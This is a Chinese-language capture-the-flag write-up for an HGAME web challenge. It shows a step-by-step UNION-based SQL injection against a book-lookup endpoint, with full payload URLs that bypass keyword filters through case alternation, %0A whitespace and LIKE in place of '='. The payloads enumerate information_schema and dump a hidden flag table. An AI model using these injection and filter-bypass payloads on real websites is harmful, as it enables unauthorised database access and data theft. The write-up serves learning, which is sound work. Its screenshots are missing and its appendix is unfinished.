BOOK manage system v2
Book Management System_V2注入思路
STEP 1: 尝试寻找注入点
**发现,****[hgame.vidar.club:41307/books/1'](http://hgame.vidar.club:41307/books/1')** **访问会弹出sql报错,说明可能存在注入点。继续尝试,添加;# 发现报错的出现,疑似存在相关的参数过滤,初步考虑** #等被屏蔽。继续尝试,首先将#**替换为URL编码%23,报错消失。确认存在过滤。**
STEP 2: ORDER BY 确定当前列数
**访问****[hgame.vidar.club:41307/books/1' order by 4%23](http://hgame.vidar.club:41307/books/1'%20order%20by%204%23)****直接发现了嘲讽语句,说明 order by 存在过滤,尝试使用大小写交替:****[hgame.vidar.club:41307/books/1' oRdEr bY 4%23](http://hgame.vidar.club:41307/books/1'%20oRdEr%20bY%204%23)****发现可以返回正常的报错,说明过滤存在。继续尝试,发现 “3”可以返回正常值,确定当前数据表字段数为3**
**STEP 3:** **找回显点**
**我们需要找办法把我们执行sql语句的结果返回出来。根据前面不断地传参,可以猜测,三个记录值分别是 ID,书本个数,书的名称,但是在那一列不确定,而我们要执行的语句返回出来的结果作为字符串型,显然应该与书的名称那一列相对应。因此,书名那一列就是回显点。那么接下来我们只需要逐一尝试:1,2,3列,试一试哪一个可以让我们使用database()函数把数据库名回显出来。**
**在这里,我们使用UNION SELECT 语句来查询。注意,在使用的时候,我们需要屏蔽前面的查询结果。所以执行****[hgame.vidar.club:41307/books/0'%0AuNiOn%0AsEleCt%0A1,DatAbase(),3%23](http://hgame.vidar.club:41307/books/0'%0AuNiOn%0AsEleCt%0A1,DatAbase(),3%23)** **,并且尝试把database()换下位置,找到回显点是第二列。这里解释一下,为什么前面原本的参数从1变成了0。简单理解,就是查询结果会从依次填充,如果第一次查询(就是原本的功能,找ID为1的那本书)找到了结果,那么就不会去显示union select的查询结果。所以我们需要让第一次查询结果为空。在这里我们可以试一下-1,0等常见数(可能被屏蔽)。在这里经过测试,0是可用的。**
**于是我们成功得到以下两个结论:1.回显点位于第二列,2.整个数据库的名称就叫book。** **注:如果你还不清楚union select的功能,可以看文章最后的专题注解。**
STEP 4: 找数据表
**在上一步中,我们已经知道了数据库的名称,接下来我们要尝试挖出这个数据库下面有多少个数据表。为什么呢?因为按照CTF题目通常的设置,flag不会存放在与程序直接相关的数据表下面(就好似其他web题目中的flag往往在服务器根目录下面一样)。在这里我们介绍一个新的“助手”,它就是information_schema数据库,再下一步操作之前我有必要先讲清楚它的使用方法。** **~~(其实这个应该加到附录里面去的)~~**
~~
~~~~~~
**information_schema** **可以理解为 数据库的结构图,这个数据库就是来记录该sql数据库里的各种信息,里面有许多表,记载了许多数据比如表名和列名,一般用得到的表为这两个 TABLES 还有COLUMNS**


**按照结构,先说TABLES, TABLES里面包含了所有数据库的所有表,长这样:**

从这张图中我们可以找到之前创建的sqltest数据库下面,有一个叫books的表
**转到COLUMNS,我们会找到关于所有表的所有字段的信息: **

如图所示,我们也可以找到刚才创建的sqltest数据库中,books表中存在两个字段。普遍的来说,重要的有四个:重要的列有
table_name: 字段所在的表名
table_schema: 字段所在的数据库的名字
column_name: 字段的名字
datatype: 这一字段的数据类型
综上。在sql注入中,我们主要使用information_schema作为寻找表和字段的工具。
**现在回到正题,我们下一步是要摸清楚,刚才得到的数据库 book下面,到底有什么数据表。在正常的SQL查询语句中,我们这样写:**
select table_name from information_schema.tables where table_schema=’你查到的正在使用的数据库的名字’
**但在sql注入语句中,我们会这样写:**
**0’ union select 1,group_concat(table_name),3 from information_schema.ables where table_schema=”数据库名字”#**
**细心的你可能会发现这边多了一个从未见过的group_concat()函数,放在了刚才我们找到可以回显的位置,这里还需要补充一下这个函数的用途:这是一个聚合函数,它可以将一组中的字符串连接成一个单独的字符串,并提供多种选项。**
**为什么要这样做呢?**
因为用网站给出的展示位来看这些信息的时候,大部分时候网页只展示列的第一个信息,我们往往看不到所需要的信息。这个时候就需要我们用group_concat()函数了。group_concat()函数可以将放入函数的所有信息用逗号隔开,连成一个字符串,这样我们就可以成功爆库了。
**但就这样是不可能直接工作的,前面有提到过,这里可能存在一些过滤,所以我们需要考虑使用大小写变换+空格替换+等号替换等手段进行绕过。**
**因此,我们访问****[hgame.vidar.club:41307/books/0'%0AuNiOn%0AsEleCt%0A1,group\_concat(table\_name),3%0AFrOm%0AINFOrMATion\_SCHEma.tables%0AwHere%0Atable\_SCHEma%0ALiKE%0A'book'%23](http://hgame.vidar.club:41307/books/0'%0AuNiOn%0AsEleCt%0A1,group_concat(table_name),3%0AFrOm%0AINFOrMATion_SCHEma.tables%0AwHere%0Atable_SCHEma%0ALiKE%0A'book'%23)**
**细心的同学又发现了,在这里我们没用=而是选择了like,这是因为=这种字符被屏蔽了,是一种常见的反注入设计。但是我们可以采用like,rlike等手段绕过(详见绕过板块)**
**于是我们得到了结果:**

**这样我们就可以确定,这个book数据库下面,有两个数据表。一个叫books,大概率用于存储书籍的信息,而这个seeeeeeeeeeeeeeeecrret,大概率就是我们要找的flag的所在位置。**
STEP 5: 爆字段
**之前的操作,我们已经确定了数据库的大致结构,就好比看到了一个小区的轮廓图,有多少幢楼,但是不清楚每幢楼有几个单元,每家里面长什么样。接下来我们要进入/book/seeeeeeeeeeeeeeeecrret里面去看看有什么。这需要调用到我们在上一章中提到的COLUMNS表。**
**正常的sql查询语句中,要寻找字段,我们应该这样做:**
**select column_name from information_schema.columns where table_schema=’你要找到数据库’**
**但是在sql注入中,我们应该这样写:**
**[http://hgame.vidar.club:41307/books/0'%0AuNiOn%0AsEleCt%0A1,group\_concat(column\_name),3%0AFrOm%0AINFOrMATion\_SCHEma.columns%0AwHere%0Atable\_NAme%0ALiKE%0A'seeeeeeeeeeeeeeeecrret'%23](http://hgame.vidar.club:41307/books/0'%0AuNiOn%0AsEleCt%0A1,group_concat(column_name),3%0AFrOm%0AINFOrMATion_SCHEma.columns%0AwHere%0Atable_NAme%0ALiKE%0A'seeeeeeeeeeeeeeeecrret'%23)**
**于是我们得到了如下结果:**

**在seeeeeeeeeeeeeeeecrret下存在一个名为fllllllllllllllllllllllaaa444g的字段。那么下一步的任务很明确了,只需要获取到字段内的数据就可以了。**
STEP 6: 获得表中的内容
**从之前的五个步骤,我们已经得知了flag的大致位置在/book/seeeeeeeeeeeeeeeecrret/fllllllllllllllllllllllaaa444g字段之下,现在我们要做的,就是得到数据值。**
**正常的sql查询语句我们这么写:**
** select column_name from table_name; **
**那么在实际的注入中我们应该稍加修改,这样写:**
**[http://hgame.vidar.club:41307/books/0'%0AuNiOn%0AsEleCt%0A1,group\_concat(fllllllllllllllllllllllaaa444g),3%0AFrOm%0Abook.seeeeeeeeeeeeeeeecrret%23](http://hgame.vidar.club:41307/books/0'%0AuNiOn%0AsEleCt%0A1,group_concat(fllllllllllllllllllllllaaa444g),3%0AFrOm%0Abook.seeeeeeeeeeeeeeeecrret%23)**

**我们得到了flag**
**补充:关于union select 原本的功能:???这里真的不会**
为了演示的更加清楚,我建了一个数据库,库名为sqltest,下面有一个表叫books,三个字段,分别为ID NAME NUMBER,类型为INT TXT INT,在这里我随便插入了一行数据,用作测试(如图一所示),如果我们在这里执行union select,那么会返回(如图二所示): 
图 1